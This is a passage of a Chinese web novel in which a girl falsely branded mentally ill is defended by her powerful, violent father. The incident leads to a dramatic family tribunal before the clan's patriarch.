苏妙说的有理有据,甚至还搬出了苏家老爷子,一时间大家信了一半。 萧澜兰没想到这件事竟然被这么圆回去了,犹豫片刻捡起地上的报告,面带微笑看向姜花衫身后的沈眠枝。 “枝枝,竟然是误会,你说清楚不就行了?你又不解释,大家不会误会才怪。” 她顿了顿,语气带了几分温和,“其实大家并不在意你的病情,就算是真的,同学一场相信大家也会理解的,所以事情真相到底是什么?你是不是也该给大家解释一下?就像苏妹妹这样,堂堂正正的解释。” 所有人看着沈眠枝。 “是啊,苏妙都解释了,你是不是也该解释一下?” 沈眠枝抬头,犹豫片刻,缓缓开口,“我不是误诊,我……” 这话一出,围观的人群再次沸腾。 苏妙难以置信看着沈眠枝,这世界上竟有这么无可救药的人,真是活久见了。 沈眠枝脸色苍白,惊慌看着四周。 不是的,她刚刚被操控了。 这不是她想说的,她是想解释的。 若她被定义为神经病,那沈家也一定会跟着蒙羞的,她并不想成为家族耻辱! 沈眠枝看着周围失望谴责的目光,脑中的思维世界在一点一点崩塌。 她的秩序,她的信仰。 她不知道该怎么办,眼神不断在人潮中搜索。 ——谁能救救我?谁能告诉我我该怎么办? …… 第236章 你是万里挑一 可是…… 像她这么无可救药的人,应该不会有人愿意再伸手了吧? 她缓缓低下头,眼神渐渐麻木。 姜花衫回头,沉默片刻往后退了一步,让沈眠枝牢牢躲在自己的身后。 是剧目之力,就像之前绥尔一样,剧目之力在操控她。 但与绥尔不同,沈眠枝是知道自己被操控了。 所以,她会比绥尔更恐慌。 现在的她,应该绝望地以为自己无药可救了。 事情转变到这里,最开心的要数萧澜兰了,眼看着沈眠枝在眼前一点一点枯萎,她心里的凌虐感上升到了极点。 如果沈眠枝承认了自己有病,那么苏妙的证词就变得很微妙了。 毕竟,凡事都有两面性。 傅潇潇没想到沈眠枝会蠢到给她递刀,幸灾乐祸看向苏妙,“这么看来,到底是那个叫肖智的医生为了攀附你们苏家误诊,还是你们苏家为了掩藏真相冤枉好人,可就说不清了。” 苏妙咬牙,“你少在这放屁!” 傅潇潇这下学聪明了,转头看向霍振华,“老师,现在别想和稀泥了?人家都承认自己有病了,你们把一个,哦!不对!是两个神经病放进学校,出了事你们能负责吗?” 霍振华权衡利弊,回头朝保安队使了个眼色。 “沈同学、苏同学,请两人配合一下。” 话音一落,保安把沈眠枝和苏妙围了起来。 苏妙大怒,“你们敢。” 自然是不敢硬碰硬,但现在是两家对全校,校方也不敢惹众怒。 霍振华好声好气,“就是走一趟的功夫,老师请你们喝茶。” 苏妙脸色铁青。 傅潇潇一脸得意看着姜花衫。 姜花衫没空理她,笑着朝人群招手。 “呼~终于赶上了。” 恰是这时,傅绥尔拨开人群窜了出来,一把挡在安保队面前,“兰晞哥,清予哥,你们快来啊!他们还想动手。” 话音一落,沈兰晞和沈清予从人群里走了出来。 又来了两个活爹。 霍振华硬着头皮走上前,不等他开口,沈兰晞出声打断,“沈家家事,闲人回避。” 霍振华一愣,还没明白这是什么意思,沈清予双手插兜,漫不经心走出人群,路过地上的神经病报告时还顺带踩了一脚。 “听不懂?奉劝各位一句,现在不走待会儿可就走不了了。” 傅潇潇左右看了看,往后退了一步。 “隆隆——” 就在气氛诡异时。 上空传来刺耳的轰鸣声,螺旋桨急速旋转,育才整个上空盘旋着密密麻麻的黑色的直升机? “怎么回事啊?” “空袭吗?” 沈眠枝的思绪被飞机的声浪打断,她神情恍然,呆呆抬起头。 这是…… 模糊的视线开始聚焦。 黑色飞机同时下落,依次排列在操场跑道上。 机舱门推开,手持军火的黑衣武装占满了半个跑道。 一架直升机落在跑道中间,舱门打开,一个身穿黑色唐装的男子从里面走了下来。 沈眠枝的情绪一下崩溃,“爸爸……” 沈让脸色阴沉,眼含肃杀,目光在人群里逡巡了一圈,踱步向沈眠枝走去。 霍振华暗叫不好,赶紧小跑上前相迎,“五爷……” “砰——” 沈让眼皮都没抬一下,抬手对着霍振华的脚开了一枪。 霍振华直接晕死过去。 “啊啊啊!!!” 学生们被吓的抱头尖叫。 傅潇潇和萧澜兰吓得脸都白了,就连周宴珩都愣住了。 沈家人这么疯的吗? 沈让踱步来到众人面前,子弹重新上膛,语气森然,“是谁冤枉我女儿是神经病的?” 未经风雨的花朵哪能受得住这样的碾压,众人不约而同往后退。 沈让用枪指着傅潇潇,“是你?” “不……不知……呜呜呜,不是我。”傅潇潇吓得胆都裂了,她只会欺负弱者,遇上像沈让这种级别的大佬连说话都不利索。 沈让换了个方向,指着萧澜兰,“那是你?” 萧澜兰身体一僵,“舅舅,不是我。” 沈让直接叩响扳机,砰的一声,子弹从萧澜兰耳侧飞过,击中了导演组的机位镜头。 “啊啊啊!”萧澜兰哭喊着抱头鼠窜。 沈兰晞见状,朝高止使了个眼色。 高止会意,掏出提前准备好的喇叭,“沈家处理家事,闲人回避。同学们,注意秩序,文明疏散。” 众人哪还敢逗留,撒腿就跑。 周宴珩看了沈兰晞一眼,跟着人群退出了操场。 傅潇潇眼神飘忽,正想浑水摸鱼,傅绥尔直接拦住了她的去路。 “跑哪去?你的账还没算呢。” 傅潇潇全身哆嗦,不安看着眼前的沈家众人,“你们想干什么?你们别乱来,不然我爷爷不会放过你们的。” 大概是她说的话太好笑了,沈家没一个人搭理她。 萧澜兰原本还指望周宴珩会帮她说句话,可他看都没看自己一眼就走了。形势不利,萧澜兰只能冲上前抱着沈眠枝的腿求饶。 “枝枝,你帮帮我,你跟你爸爸求求情,你告诉舅舅我不是故意的。我保证,以后再也不会欺负你了,我会替你保守所有的秘密,所有的。” 众人沉默,目光不约而同落在沈眠枝身上。 沈让的眼神更是复杂到了极点。 萧澜兰跪在沈眠枝面前哭的泣不成声,沈眠枝脑子一嗡,眼神开始恍惚。 【她已经知道错了,谁不会犯错了?就原谅她这次吧?】 【你本来就有病,萧澜兰只不过揭露了一个事实,她有什么错呢?】 沈眠枝呆呆抬起头,目光依次路过沈兰晞、沈清予、傅绥尔,然后是姜花衫。 她轻声道,“我本来就有病,萧澜兰只不过揭露了一个事实,她……” 这话一出,沈让眼里的情绪蒙上了灰。 沈兰晞和沈清予同时转身准备离开。 傅绥尔满脸诧异看着她。 唯独姜花衫。 她看透了一切,她了解事情的本质,所以她用最平静的语调打断沈眠枝,“不!你没有病!” 沈眠枝咽下了接下来要说的话,目光静静看着她。 姜花衫,“如果这世界的本质是一出荒诞的戏剧,你就是这里唯一的清醒者。如果‘有病’是这个世界常态,那么‘正常’就变得不可饶恕。所以,你明白了吗?你不是有病,你是万里挑一。” 不是还有聪明的标签吗,打破束缚吧。 沈眠枝眼里的雾骤然驱散,她哭着,艰涩地缓缓开口: “她是惯犯,爸爸,请您替我……教训她。” …… 第237章 父亲这个角色 这句话似乎有一种魔力。 沈让眼里渐渐亮起星辰。 沈兰晞和沈清予倏尔停下脚步,转头看向沈眠枝。 傅绥尔嘴角的笑容咧到了耳后根。 萧澜兰忘记了哭泣,一脸惊悚看着她。 只有姜花衫,面带微笑看着她空荡荡的头顶。 【伪善、聪慧、孝顺、复杂】四个标签化作荧光彻底消失在太阳之下。 标签消失的瞬间,沈眠枝明显愣了一下,她仰头看着碧空如洗的天空,眼含热泪痛哭了出来。 被打碎的脊梁好像…长出了翅膀。 沈让看着心酸不已,指着瑟瑟发抖的摄影组,“砸。” 身后的黑衣武装立马行动,一群人蜂拥上前,拍摄的器材和布景被砸得稀巴烂。 沈让那一枪震慑住了所有人,摄影组的工作人员没有一个敢上前阻拦。 萧澜兰看着那群人像土匪一样毁了她这段时间所有的成果,情绪失控哭喊道,“五舅舅!你不能这样!我要告诉我爸爸!告诉外公!” 沈让根本不把她放在眼里,朝身后的助手使了个眼色,一个黑衣男子上前,一把揪住萧澜兰,用麻绳绑住她的双手。 萧澜兰见求饶没用,改成破口大骂,“你们凭什么这么对我?!我爸爸是萧启,萧氏家族执行董事,我如果出事,我爸爸绝对不会放过你们的!” 沈让抬手,助理递上手机,他随意拨了一通电话,按下了免提。 电话接通,萧启的声音略带笑意,“五爷,今天怎么有空想到给我打电话啊?” “没什么。”沈让语气平静,“就是想跟你打声招呼,我准备弄死你女儿。” 说完他挂了电话,目光森然看着被吓傻的萧澜兰,“准备好下地狱了吗?” 这话就像是平静的海面突然被投放了一颗深水炸弹,之前大海能容纳的所有表象在这一刻都它被摧毁了。 眼前的世界像魔方重组不断变化,晴空变成黑夜,操场变成楼顶。 沈让眼里的恨仿佛能吃人,他狠狠掐着一个人的脖子,在他耳边幽幽说道:“下地狱吧,这样,我女儿就再也不会遇见你了。” 他缓缓松手,看着那人被推下万丈深渊,凶狠可怖的脸上没有了恨,只有脆弱和绝望。 爱是盔甲也是软肋,凶狠和绝望都是沈让对沈眠枝的爱。这一刻,这位父亲好像一下鲜活起来。 再一转,黑夜退散,深渊消失,萧澜兰的尖叫声让一切回到了当前。 姜花衫怔怔看着眼前的世界,刚刚那是什么? 萧澜兰声嘶力竭吼叫,强大的求生意志促使她爆发出了前所未有的力量。她一把撞开男人,反身跑到沈清予面前,不顾一切抱着他的腿哭喊。 “清予哥,你救救救我吧。难道你要眼睁睁看着三房的人欺负我们吗?清予哥,求求你了,不要不管我!” 沈清予也没想到沈让会做的这么决绝,虽然萧澜兰自作孽,但也罪不至死,他正犹豫要不要插手,沈让走到两人面前,拖着萧澜兰手上的麻绳扔给身边的助理。 他的态度十分强硬,“这件事你们谁都别插手。” 沈清予皱眉,正要开口,姜花衫赶紧把他拉到一旁。 “放心吧,五叔心里有数。” 沈清予看着被拖走的萧澜兰,思忖了片刻拉下姜花衫的手,“不行,我不能坐视不管。” 平心而论,沈娥待他不错,虽然他也看不上这个姑姑和表妹,但也不能眼睁睁看着萧澜兰出事。 沈清予刚抬步,沈让举枪指着他,“清予,这件事你最好不要插手。” 不等沈清予反应,姜花衫徒手砍下沈让的手,“五叔,爷爷说过,沈家的枪不可以指向自己人。” 沈让愣了愣,他虽然气愤但还远没到失去理智,叱咤风云的沈五爷自然知道自己在做什么,拿枪指着沈清予也不过是吓唬吓唬,但他万万没想到,姜花衫这么生猛,直接空手劈枪。 这还让他怎么恐吓? 傅绥尔担心沈让迁怒,张开双臂拦在姜花衫面前,“舅舅,你干什么?清予哥和衫衫又没做错事。” 姜花衫反头看向一直沉默的沈兰晞,“你站在干嘛?说句话啊?” “……”沈兰晞淡淡开口,“五叔,爷爷说,气出够了就回来。” 沈让对着这群小辈发不出火,转身把手枪扔给了助理。 此时萧澜兰已经被押着上了一架飞机,直升机盘旋起飞,差不多距离地面十米高时,萧澜兰被人从飞机上推了下来。 “啊啊啊!!” 萧澜兰嘶声尖叫。 就像姜花衫说的,沈让心里有数,他只不过想给萧澜兰一点教训,并没打算真的杀了她。 萧澜兰掉到半空,麻绳一端收紧,她被半挂在高中。 “啊啊啊!!” 一时间,整个上空回荡着撕心裂肺的哭喊声。 躲回教室里的学生忍不住跑到走廊偷偷吃瓜,萧澜兰的下场让所有人看到了沈让的雷霆手段,纷纷后怕不已。 关鹤拿着他的特制望远镜对着天上的萧澜兰,“啧啧,萧澜兰真是有够惨的,出了这种事,以后谁还敢要她?” 周宴珩不置可否,静静看着操场上的人影。 “我草,该说不说,萧澜兰身材还是很正啊。” 高空中的少女穿着校服格子裙,被这么拖着游行,里面风光大泄。 周宴珩看了一眼,转身回了教室。 关鹤评头论足正来劲儿,发现身边没人立马跟进教室,“阿珩,你们不是在谈恋爱吧?这你都不管?” “没谈。”周宴珩拿出手机玩游戏,语调轻慢。 关鹤啧啧摇头,“我看你这几天玩的挺开心的,还以为是收心了。你他妈胆子真大啊!她可是萧家的千金,你没那意思还敢睡人家?” 他们虽然爱玩,但也有原则,绝不沾惹麻烦。像萧澜兰这种既有家世又有颜值的最难搞,都是一个圈层的,万一出了什么事家里不好交代。 周宴珩倒好,把人吃干抹净就当抹布丢了,所以关鹤才说他胆子大。 周宴珩懒懒笑了笑,“原本以为她还算聪明,但其实也不过如此,索然无味,不扔留着恶心自己吗?” “言之有理。”关鹤忍不住竖起大拇指,“不过,少爷,你嘴这么叼可不好,越玩越大,以后没猎物了怎么办?” 周宴珩放下手机,“不巧,我已经物色好新猎物了。” …… 第238章:沁园大乱斗 沈让挂了电话,沈娥和萧启立马带人赶到了学校。 当看见自己的宝贝女儿被吊在飞机上拖行,两人只觉天都要塌了。 沈娥情绪崩溃,要不是被萧启拖着,她恨不得上前撕了沈让。 “你竟然敢这么对我女儿!沈让,我要杀了你!!!” 沈让一直拖着就是在等萧家的人,他丝毫不畏惧,从助理手里拿过手枪指着萧启的额头,“我警告你们,看好你们的女儿,下次再让我看见她欺负我女儿,就不是教训一下这么简单了。” 说罢,沈让牵起沈眠枝的手往跑道中心走去,路过沈兰晞时稍有停顿,“告诉你爷爷,我们现在回去。” “岂有此理!他简直丧心病狂。”沈娥死死盯着沈让的背影,“这件事我绝不敢罢干休!” 萧启看着乌泱泱的黑色武装,面色凝重,“先回沈园。” 沈娥点头,目光一一扫过操场上的众人,停留在沈清予身上时脸色既复杂又心寒。 她自问待这个侄子不薄,但没想到他竟然眼睁睁看着自己的表妹受辱。 傅潇潇完全被沈让的阎罗手段吓住了,全程都不敢说话,生怕沈家人忽然想起她这个始作俑者。 沈让带着沈眠枝离开后,操场上的武装也随之撤离,飞机的风浪在学校上空盘旋后又消失不见。 这么戏剧化的一幕,给育才众人留下了不同程度的阴影。 * 家里出这么大的事,课是上不下去了,沈兰晞几人也跟着回了沈园。 沈执早早守在园外,见了他们什么话都没说直接领去了沁园。 沁园的气氛格外沉重,刚进园,几人便被里面的场景震住了。 萧启和沈娥跪在偏厅门前,沈娥哭得心力交瘁。 沈让跪在花架下正在受鞭刑,执刑的是郑松,也不知之前打了多少鞭?此刻的沈让全然没有护女时的霸气,脸上血色全无,后背皮开肉绽。 “爸爸!” 沈眠枝哭着从园外跑进花架,跪着挡在沈让面前,对着偏厅方向哭喊求情,“爷爷,不要打了!求求你了!” 沈执见状赶紧走进花架,把沈眠枝拉了出来。 “眠枝小姐,老爷子说了两百鞭,一鞭都不能少。” 沈眠枝哭得几乎要断气了,不顾沈执劝阻向再次跑进花厅,“不要打我爸爸!爷爷,爸爸没有错!你不要打他。” “哗——” 偏厅的门从里面打开,沈庄拄着拐杖走了出来。 所有人脸色微变,纷纷看向眼前这位面色平静的老人。 沈庄,“你爸爸错的离谱,该打。” 沈眠枝怔然,无措看着沈庄。 沈庄神情冷淡,“老五,你认不认罚?” “枝枝,这是大人的事,你回去。”沈让闭眼,“爸,我认。” “不要。”沈眠枝摇头,冲出花厅一把跪在沈庄面前,“爷爷,就算爸爸有错也是为了我,您要打就打我吧,求你不要打爸爸了。” 沈娥恨不能生啖了沈眠枝,红着眼看向沈庄,“爸,您救救澜兰吧,她差点被老五杀了。” 沈庄抬眸看向园内的众人,久久没有说一句话。 姜花衫忽然觉得眼睛发酸,这大概是爷爷最不想看见的吧?沈家内斗,不管最后伤了谁,都是在往爷爷身上捅刀子。 “爸!” 这时,园外忽然响起一道怒音,沈渊满脸气愤冲进沁园,脚步带风穿过花厅。 “爸,听说老五动用暗堂势力,不仅打伤了老师还差点逼死澜兰?” 沈娥哀嚎了一声,拉着沈渊的手,满腔怒火指着沈让,“哥,他把澜兰吊在飞机上游行,他明明知道澜兰恐高,他这是要杀了我的女儿啊,哥!” 沈渊怒极,转头冲向花厅,抢过郑松手里的鞭子,作势要打。 傅绥尔脸色大变,冲进花厅横挡在沈让面前,“二舅舅,爷爷只让郑松执刑,没说你可以打。” 沈渊脸色难看,“滚开。” 沈眠枝反应过来,爬起身冲进花厅挡在傅绥尔面前,“要滚的应该是二舅舅你!就算我爸爸有什么错,有爷爷在也轮不到二舅舅您越俎代庖。” 沈渊微愣,一时没反应过来,沈眠枝的性格一直都是软弱可欺,怎么忽然转性了? 沈娥暗恨,指着沈眠枝大骂,“好你个没心肝的东西,枉我澜兰平时有什么好东西都想着你,她待你如亲姐妹,你就是这么对她的?” 沈眠枝抬头,神情坦然,“姑姑这话我听不懂了!萧澜兰待我好?是,受她恩惠,我知道了自己的存在有多不堪,得她提醒,我每天都活在自责和愧疚里,生不如死。” 沈让眼眸怔愣,反头看向沈眠枝。 沈娥脸色微变,恼羞成怒,“信口雌黄的鬼丫头,你少往我家澜兰身上泼脏水。” “姑姑这是心虚了?是啊,你是应该心虚,你欺我年少不懂事,威胁我不准把你们对我做的事告诉爷爷和爸爸。” “你胡说!”沈娥惊慌看向沈庄,“爸,你看见了,都到这个地步了他们还是不放过澜兰。” 沈渊皱眉,帮着冷声呵斥,“够了!小小年纪跟谁学的牙尖嘴利,大人说话哪有你插嘴的份?” “她没有,那我有没有啊?!” 话音一落,沈娇踩着女王高跟进了园子。 傅绥尔眼睛一亮,飞快跑到沈娇面前,指着沈娥,“妈,这些二房焉坏的。” 沈渊和沈娥脸色阴沉。 沈清予皱眉,对着傅绥尔的小腿踢了一脚,力道不轻不重,但颇有警告的意味。 傅绥尔哎哟了一声,回头看是沈清予愣了愣。 没等她反应,沈清予的屁股又挨了一记重踹,直接把他踹飞了几步,要不是他及时稳住差点掉进水池。 沈清予回头,姜花衫正凶巴巴看着他。 “……” 沈渊大怒,冲上前指着姜花衫,“谁让你踹我儿子的?” 沈娇也不甘示弱,扯下脖子上的帝王绿珠串对着沈渊的脸砸了过去,“你冲谁嚷?” …… 第239章 回避 晶莹透亮的绿珠散落一地,沈执弯腰,一颗一颗捡起放进手里的托盘,扫了一圈确认没有遗漏后,他慢慢走进花厅低头询问,“幺小姐,一共103颗,剩下的估计是掉进池塘了。” 沈娇摸了摸发酸的膝盖,摆摆手,“掉就掉了吧。” 反正人已经打完了。 沈执点头,直起身,目光扫过花厅。 从大房到三房,从长到幼,十个人跪得整整齐齐,刚刚打的有多狠,现在跪的就有多标准。 傅绥尔低着头,左右看了看,悄悄靠向姜花衫,抿着嘴,“完了,我还是第一次看见全家混合跪,爷爷肯定很生气。” 姜花衫点头,斜眼打量旁边的沈兰晞。 能不生气吗? 她好歹还踹了沈清予一脚,沈兰晞什么都没做,但也没有幸免。 “这是怎么了?” 沈让调动暗堂包围育才的消息已经在上流圈传开了,沈澈一听说就赶了回来,没想到脚刚踏进沁园就看见大的小的跪了一地,他顿然警铃大作,小心翼翼看向偏厅。 “先生。”沈执拦住他,指了指沈让旁边的空位,“老爷子发话,都先跪上三个小时再说话,” “……”沈澈赶紧替自己解释,“不是,沈管家,我可什么都没做。” 沈执,“老爷子说了,不作为也是错。” 沈澈没辙,轻咳了一声,挨着沈让跪下。 他原本想问问沈让怎么这么想不开,但看他满背血痕立马闭上了嘴。 气氛异常沉重,沈娥时不时瞪向沈让,一副绝不善罢甘休的样子。 大约又过了半个小时,园外再次传来动静。 沈执快步走出花厅迎接,只见几个保镖抬着一个少年过了园门又退了出去,少年身后还站着一个西装笔挺的男人。 “沈管家,老爷子还好吧?” 这是,沈谦的声音。 花厅里的人一下反应过来,沈娥和沈渊不约而同侧身,隔着花厅的玻璃看了过去。 另一边,三房三人的脸色顿时阴沉了下去,沈谦不是在南湾忙着他的议员长复选吗?这个时候回来做什么? 沈娥转眸与沈渊交换了眼神。 沈家家族有两股势力,一为明,便是以沈庄为首高坐庙堂的决策者,二为暗,便是以沈让为主的黑色势力。 暗堂依附在沈家这座万年冰山下,暗堂堂主主宰底下世界的所有规则。 以前的暗堂堂主是沈庄的胞弟,老堂主死后暗堂空置了六年,最后历经波折,沈庄才定下谁都不看好的沈让。 当初沈让继任,二房就曾极力反对,奈何老爷子一意孤行,大家最后也只能接受。 但今天沈让竟然为了私仇调遣暗卫,这根本没把家族利益放在眼里,如果二房把握好这个机会,说不得可以趁机卸了老五这个堂主的身份。 姜花衫也听见了园外的动静,勾着脖子往廊庑里瞧。 沈谦与沈执走在前面,雷行推着轮椅,轮椅上的少年穿着白色衬衣,眉眼温柔。 沈龟灵! 为了看清楚动静,姜花衫的脖子已经扭到了极限,随着轮椅移动,她的脖子也一点一点偏移。 沈兰晞,“……” 沈执领着沈谦步入花厅,微微颔首,“先生,请。” 沈谦表情略有些不自然,走到众人最面前跪了下来。 “雷行。”沈归灵扶着轮椅,作势要起来。 沈执立马走上前搀扶,“阿灵少爷,老爷子说您腿有伤,跪罚就免了,阿灵少爷用心忏悔即可。” 沈归灵点头,推着轮椅立在姜花衫身后。 “……” 姜花衫抓了抓头发,也不知道是不是她的错觉,怎么感觉头顶发烫,头皮有种被盯上的灼烧感。 看看看!看什么看?! 姜花衫感觉自己头顶都要起火了,不甘示弱回头,两人的目光迎面对上,姜花衫眯眼,桃花眼泛着凶光:看什么看?别忘了你的清白是谁保住的! 沈归灵眼里的温柔微微停滞,眼瞳转暗,不留痕迹移开了目光。 耶! 沈龟灵竟然回避了? 姜花衫略有几分好奇,正想一探究竟,沈兰晞清冷开口。 “跪好。” “……” 最讨厌开小差的时候旁边做个纪律委员了。 姜花衫给了沈兰晞一个白眼,木着脸重新跪好。 现在连沈谦和沈归灵都回来了,接下来的剧情会怎么走呢? 她经历的上一世,沈眠枝没有觉醒,沈让也没有羞辱萧澜兰,迄今为止,她也并没有收到主线偏离的提醒,也就是说当前剧情是《我不过作作妖,怎么就成了白月光》里面的内容。 姜花衫略带思索看向跪在对面的沈眠枝。 她正低着头,不知道在想什么?头顶【恋爱脑】三个字格外醒目。 明明都已经这么努力了,却还是没有挣脱所有的枷锁。 不知道,沈眠枝又感应到了多少? 心有灵犀,正想着,沈眠枝忽然抬头,清澈的眼眸不带一丝情绪静静看着她。 她的打量很直白,似乎想透过一双眼睛看进姜花衫的心底。 姜花衫也不回避,任她打量,其实她也很想知道,标签脱落一半的人对这个世界会有什么样的认知? “咔——” 这时,偏厅传来推门的声音。 花厅众人精神一震,不约而同挺直了腰杆。 沈庄拄着拐杖,由沈执搀扶慢慢步入花厅,他先打量了众人一番,才转身入座。 “都起来,坐吧。” 众人相互扶持起身,各自入座。 沈兰晞坐在沈庄下侧,二房三房左右两边对峙而坐。 阿姨们端着瓷盏热茶走了进来,按照惯例都是各自常用的茶类,沈执检查了沈庄的茶,确认没问题才跟着阿姨一起退了出去。 因为是未曾经历的剧目,姜花衫格外小心,她坐在最后一排,打算以一个独立视角观察这里的每一个人。 刚刚沈执检查茶品的时候,沈兰晞、沈澈、萧启、沈渊还有沈清予的目光都曾刻意停留,虽然并不能以此判断是他们下的毒,但起码说明他们在意这个点。 还有沈执。 既然爷爷入口的东西都会经过他的手,那为什么他没有过滤掉那天的毒呢?是贼人太狡猾躲过了沈执的检查?还是沈执有问题? 姜花衫瞥了沈执一眼,故作不经意端起桌上的花茶。 等人都退下,沈庄点了点红檀桌面,“说吧,你们都想干什么?” …… 第240章 沈眠枝VS沈娥 气氛先沉寂了几秒,沈娥突然爆发,扯着嗓子哭喊,“爸,不是我非要闹,实在是澜兰要被老五逼死了,今天老五必须给我一个说法,否则我和萧家绝不善罢甘休。” 说着便拉了萧启一把。 萧启站起身,神色凝重,“爸,我就澜兰一个女儿,自小当眼睛珠子疼,她就算真做错什么,也不至于被自己的亲舅舅吊上飞机,您说是吧?” “说的没错。”沈渊帮着附和,“小孩子间的打闹就让她们自己解决,老五直接把暗卫调去包围学校还打伤了老师,这是不是太小题大做了?这让外面的人怎么看我们沈家?” 沈谦战术性端茶,不发表意见。 沈庄不置可否,转头看向三房,“老五,你说。” 沈让也是条硬汉,挺直鲜血淋淋的后背,掷地有声,“爸,我没错!我今天就把话撂在这,我就枝枝一个女儿,谁胆敢再欺负我女儿,我血洗他全族!” “你!”萧启瞪大了眼睛,没想到平时乐呵呵的沈让这么狂,他们刚说萧家不会善罢甘休,他直接来个血洗全族。 “砰!”沈娥哪受得了这样的气,拍桌指着沈让大骂,“你有什么资格说这种话,当初要不是你瞎了眼,爸差点搭上一条命!你对得起我们吗?” 沈让拳头紧握,他这一生唯独这件事永远愧对父亲。 沈眠枝不忍沈让独自承受这些,偷偷牵起他的手。 掌心的温暖蔓延到了心房,沈让眼角湿润,紧紧回握。 他正欲开口,沈娇挺身而出,“老黄历的事了,爸都没提,你一天到晚嘴碎做什么?” 沈娥抬着下巴,“有你什么事?” 沈娇双手抱胸,“我是沈家的女儿自然有我的事,沈让是我哥,枝枝是我侄女,你说这里有没有我的事?” 沈谦淡淡放下茶杯,“阿娇,我们是一家人。” 沈娇最看不惯沈谦这副道貌岸然的样子,故意刺激他,“怎么?南湾的烂摊子解决了?还是明天你就要上任议员长了?你们二房丢了这么多人我们哪次没包容?怎么五哥派几个人去学校就被你们说的十恶不赦?” 沈谦气得脸色铁青。 还得是娇女王,姜花衫默默给沈娇点了个赞。 沈娇转头看向沈庄,“爸,这件事还有争议吗?萧澜兰处心积虑栽赃枝枝,枝枝要是被认定精神失常,她这辈子就毁了。为人父母,谁能忍受自己的孩子受这种委屈?” “你胡说!”沈娥情绪失控,指着沈眠枝,“明明是她自己脑子有问题!澜兰只是不小心泄露了她的秘密。”说着,又看向沈庄,“爸,枝枝有病老五也不提,谁知道他藏着掖着安的什么心思?他们……” “我没病!”沈眠枝看着沈庄,神情坚定,“爷爷,是姑姑冤枉我。” 沈娥早有准备,回头从手提包里拿出两沓资料对着沈眠枝甩了过去,“这是什么?还敢狡辩?” 沈让大怒,正准备反击,沈眠枝往前一步,“姑姑有没有听说过,天才和疯子只有一线之隔。” “哈?”沈娥被气笑了,指着她的鼻子,“这么说你是天才咯?” 沈眠枝转头看向沈庄,“爷爷,我从很小开始就觉得自己跟别人不一样,我……” 姜花衫抬眸,看着沈眠枝的侧脸。 要跟他们说你的经历吗?不行呀,没有人能感同身受,因为这世界上根本不存在两片相同的叶子。 沈眠枝顿了顿,咽下喉间的哽塞,“我自小就过目不忘,不管是数字文字,还是见过的人,只要我看过一眼哪怕再过十年我依然记得。就是因为脑子里有太多存储影像,让我以为自己是不是精神出了问题?所以我才请求爸爸暂时隐瞒。” “一派胡言。”沈娥哪能允许沈眠枝自辩,言辞犀利,“你现在连老爷子都敢唬弄,看来是撒谎成性。” 沈眠枝直视沈娥,“八年前,姑姑来沈园贺岁,那天你穿的是白金团丝裘袄,头上带着月光东珠,指甲画了梅花,你把我推倒在地,指着我的鼻子说,‘别以为在这个家会有人给你出头,你最好安分点,不然连你爸爸也会一起被赶出沈园’。” 沈娥脸色微变。 说了那么多其实就是为了把当年的事说出来。 沈眠枝面容平静,把当年所有人的穿着,甚至是沈园几十个阿姨的打扮都说了一遍。 姜花衫看着她的侧脸,心道还真是不一样了。 说这些,不过是为了证明她揭露沈娥的真实性,连每个人的口红色调都记得,又怎么会记错一句恐吓的话呢? 沈让看着沈眠枝单薄的背脊,四十岁的男人湿红了眼眶。 他实在不敢想象,这八年,女儿是怎么过来的?他一直惋惜女儿不争不抢性格懦弱,他只想着接受包容,但却从没想过追根溯源。 沈娇听后怒不可遏,“你是不是丧心病狂,你怎么能对一个孩子说这种话呢?” 她原来以为沈娥只是刻薄,没想到心思如此歹毒。 所有人的目光变得异样,尤其是小一辈。 沈娥硬着头皮解释,“她撒谎,我的确曾经不小心泄露了老五家的事,可是也仅此而已,我没有威胁过她,澜兰就更没有了。” 沈眠枝无害的鹿眼泛过一丝黯色,她游刃有余回击,“三年前,要不是姑姑和表姐威胁我,我怎么会当着大家的面说谎,明明看见了澜兰姐扒衫衫的衣服却还睁着眼睛说瞎话?” “住口!”三年前那件事是沈娥的大忌,她多少怒火中烧,口不择言,“那天的事跟我和澜兰没关系,是你自己投鼠忌器才撒谎……” 萧启神色微变,拉住她,“够了。” 沈谦沉着脸放下茶杯。 所有人的目光都落在了沈娥癫狂的脸上。 沈娥立马反应过来,一把抓住沈庄的胳膊,“爸,你听我解释,她撒谎…” 沈庄淡淡扒下沈娥的手。 沈眠枝有没有撒谎不重要,重要的是她的逻辑自洽了。 没有漏洞,有理有据,若是上了法庭也是一份有效的呈堂供证。 …… 第241章 父母之爱子 “爸?” 沈娥看着被拂开的手,稍愣了一下,她忽然意识到什么,眼里满是惶恐,立马跪下,一把抓着沈庄的裤腿,“爸,我知道错了。是我没有教好澜兰,她是个好孩子,是我……” 沈庄点头,拍了拍沈娥的头,脸色平静,“你知道就好,把澜兰送出去,这件事我就不追究了。” 送出去?! 沈娥不敢置信呆愣了几秒,回过神后抱着沈庄的腿失声痛哭,“不要啊爸!我就澜兰一个女儿,她是我的命根子啊。” 萧启吓得跟着一起跪下,“爸……” 沈庄抬手制止了他,“不用说了,你们可以不送,但以后萧家和沈家再无瓜葛。” 萧启求情的话立马咽了下去。 沈渊没想到事情这么严重,欲言又止看向沈谦。 当年沈年也是屡教不改,后来被老爷子驱逐出A国,没想到这么多年后,再次被驱逐的又是二房的孩子。 沈娥还是不死心,“爸,我知道错了!我求求您了,您知道的,我身体是……我不怨了也不争了,求求您不要把澜兰从我身边带走!!她是我唯一的女儿……爸!你把孩子从我身边夺走是挖我的心啊!” 沈庄闭眼,声音低沉,“你伤枝枝,何尝又不是在挖老五的心?” “呜呜呜…” 沈娥无言以对,她隔着模糊的泪水看着对面的三房,沉默片刻对着沈让拜下。 沈让愣住了。 不仅是他,连姜花衫都微微变了脸色。 沈娥是沈家长女,自小顶着‘长公主’的光环,她天性傲慢,不把任何人放在眼里,没想到今天竟然为了萧澜兰给沈让下跪。 沈渊脸色微变,上前拉住她,“你这是做什么?” 沈庄做的决定从不更改,这是家规,就算沈让原谅也改变不了什么。 沈娥抱着沈渊痛哭,“哥,澜兰该怎么办啊?” 沈庄摆摆手,“阿启,你们回去吧。” 萧启点头,从沈渊怀里接过沈娥,“走吧,先回家。” 沈娥泪眼婆娑看着沈庄,但沈庄从头到尾都没看她一眼,沈娥心如死灰跟着萧启出了偏厅。 暮色沉沉,一如深渊枯地。 路过花厅,沈娥目光萧瑟打量着眼前的一草一木。 这里几十年如一日,除了庭院的植物更茂密些,水榭清池一如往昔。 